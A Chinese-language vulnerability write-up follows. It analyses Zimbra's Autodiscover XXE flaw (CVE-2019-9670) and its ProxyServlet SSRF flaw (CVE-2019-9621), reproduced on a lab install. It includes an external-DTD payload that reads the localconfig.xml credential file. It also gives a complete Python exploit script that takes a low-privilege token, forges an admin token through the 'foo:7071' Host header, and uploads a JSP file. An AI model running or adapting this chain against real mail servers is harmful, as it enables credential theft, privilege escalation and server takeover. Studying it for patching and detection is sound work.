前言
原文地址:
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
参考文档:
https://blog.csdn.net/fnmsd/article/details/88657083
历史版本存在的
RCE
(远程代码执行)漏洞:
CVE-2013-7091
本地文件披露漏洞,影响范围为
8.0.2
以下版本。
CVE-2016-9924 XXE SoapEngine
文件漏洞,影响范围为
8.5
以下版本,结合
SSRF
可造成
RCE
。
CVE-2019-9670 XXE Autodiscover
文件漏洞,影响范围为
8.5-8.7.11
,结合
SSRF
可造成
RCE
。
至于在
Zimbra 8.7.11-8.8.11
版本上验证
RCE
,附加条件是
Zimbra
使用
Memcached
。
历史版本所有
XXE
漏洞:获取
localconfig.xml
XML
外部实体(
XXE
)攻击(有时称为
XXE
注入攻击)基于服务器端请求伪造。这种类型的攻击滥用了
XML
解析器广泛可用但很少使用的功能。使用
XXE
,攻击者能够导致拒绝服务(
DoS
)以及访问本地和远程内容和服务。在某些情况下,
XXE
甚至可以启用端口扫描并导致远程代码执行。有两种类型的
XXE
攻击:带内和带外。
Zimbra
对其内部和外部操作使用大量的
XML
来处理,使用好
XML
文件会带来很大的
XXE
漏洞。
CVE-2016-9924
的漏洞位于
SoapEngine.chooseFaultProtocolFromBadXml
()中,该错误发生在
invalid XML requests
。此漏洞
用于
8.5
以下的所有
Zimbra
实例版本
。但由于无法将输出提取到
HTTP response
,因此在利用它时需要使用带外提取方法。
CVE-2018-20160
漏洞是处理
XMPP
协议的
XXE
漏洞。
CVE-2019-9670
在处理
Autodiscover requests
时达到了
XXE
漏洞的要求,这可以在
8.5
到
8.7.11
的
Zimbra
上应用。
CVE-2019-9670
的另一个缺陷是
XHTML
文档
prevention bypass
,这也导致了
XXE
,但是它们都是需要一些额外的条件来触发,这些都允许通过
reponse
直接提取文件。
一、
CVE-2019-9670 XXE
漏洞
1
、根据文章提示找到漏洞触发的源码
根据文章提示,
CVE-2019-9670
在处理
Autodiscover requsets
时存在
XXE
漏洞,首先在内网的
ubuntu 16.04LTS
下安装
zimbra 8.7.10
版本,导出文件
zimbra/lib/jar/zimbrastore.jar
,利用
java
反编译器寻找关键字
Autodiscover
,发现此模块存在于
com/zimbra/cs/service/AutoDiscoverServlet.class
中。
向
/Autodiscover/Autodiscover.xml
试着
POST
一个空的
xml
:
看到返回的是
“No Email address is specified in the Request”
,于是在
AutoDiscoverServlet.class
中查找此语句,发现发送的
Request
主要是由此模块下的一个
doPost
函数来处理,
doPost
函数大致如下:
分析
doPost
代码,其利用模块下的
getTagValue
函数解析
request
,发现一共只解析两个参数,第一个是
EMailAddress
,也就是邮件用户名,第二个是
AcceptableResponseSchema
,而这个
AcceptableResponseSchema
是造成
XXE
漏洞的关键参数。
继续分析:
第一个
if
语句是判断邮件用户是否为空,并没有用户验证机制,所以只需随便构造一个邮箱用户就可以了。
第二个
if
语句的
responseSchema
为上文中获取的
AcceptableResponseSchema
标签下的参数,如果此参数不为两个给定的类型,则报错并返回
responseSchema
的内容,
此处造成了回显式的
XXE
。
2
、根据漏洞构造
xml
由上文分析得出
request
只需要两个参数即可,所以利用此条件构造内部注入的
xml
:
在
docs.microsoft.com
查询
AutoDiscover
的构造语句:
根据上图构造
post
语句,用
RestClient
插件发送
post
语句,如下图,
XXE
内部注入漏洞触发成功,返回文件内容:
由于
localconfig.xml
为
XML
文件,需要加上
CDATA
标签才能作为文本读取,由于
XXE
不能内部实体进行拼接,所以此处需要用外部
dtd
注入来触发
XXE
漏洞:
dtd
文件:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
构造外网可访问的站点,上传
dtd
文件,构造外部注入的数据包,
post
发送返回
localconfig.xml
的内容:
在安装时,
Zimbra
为其内部
SOAP
通信设置了一个全局管理员,用户名为
“zimbra”
,并随机生成密码。这些信息均存储在名为
localconfig.xml
的本地文件中。分析了
CVE-2013-7091
漏洞,某些条件下可以使用此类凭证来获得
RCE
。但是
zimbra
通过令牌管理用户权限,并设置了一个应用程序模型,使得管理令牌只能被授予进入管理端口的请求,默认情况下端口是
7071
,但是很多网站都没有开
7071
。
3
、适用版本
经测试,适用版本为
8.5-8.7.11
,在
8.8
版本中,
zimbra
对
AutoDiscover
模块做了
XML
外部实体注入防护:
二、
CVE-2019-9621 SSRF
漏洞
如果目标网站关闭了
7071
端口,那么还有其他的方法,那就是
SSRF
漏洞。文章中提到用
ProxyServlet
,利用反编译器找到此函数:
根据博客文章的说明,此
ProxyServlet
可以代理对另一个位置的请求,并且这个
servlet
可以在普通用户的
webapp
上使用,因此可以从公共访问。但是代码具有另外的保护,它会检查代理目标是否与一组预定义的白名单域匹配,也就是说请求来自管理员,所以第一步先要取到管理员作为普通用户的
autotoken
值。由于
zimbra
在管理员检查中存在缺陷,它检查的第一件事是请求是否来自端口
7071
,但是它使用的是
ServletRequest.getServerPort()
来获取传入的端口。利用管理员的检查缺陷,用
cookie
发送带有
“foo:7071”
主机头和低权限的
autotoken
值,我们可以将请求代理到任意目标。
1
、获取低权限
autotoken
值
低权限
token
可以通过
soap
接口发送
AuthRequest
进行获取:
使用已经获得的
zimbra_admin_name
和
zimbra_ldap_password
进行登陆,获取一个低权限
Token
。
2
、利用该
token
使用
cookie
发送
“foo:7071”
造成
SSRF
编写
python
脚本
首先通过账号和加密口令先获取低权限口令,然后通过
proxy
接口,向
https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
发送
cookie
,访问
admin
的
soap
接口获取高权限
Token
,获取权限然后实现文件上传。
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
filename = "111.jsp"
fileContent = r'<%out.println("111");%>'
print(base_url)
#low_token Stage
import re
username = "zimbra"
password = "3Z0sGzkL"
print(username)
print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
soap:Header
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
/soap:Header
soap:Body
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
/soap:Body
/soap:Envelope
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
print(pattern_auth_token)
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin Auth Token By SSRF")
data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password)
print(data)
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=data,headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)
f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
print(r.text)
print("Please vist "+base_url+"/downloads/"+filename)
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
print(r.text)
print("May need cookie:")
print(headers['Cookie'])
对目标进行
SSRF
漏洞测试:
发现
jsp
文件已经上传成功!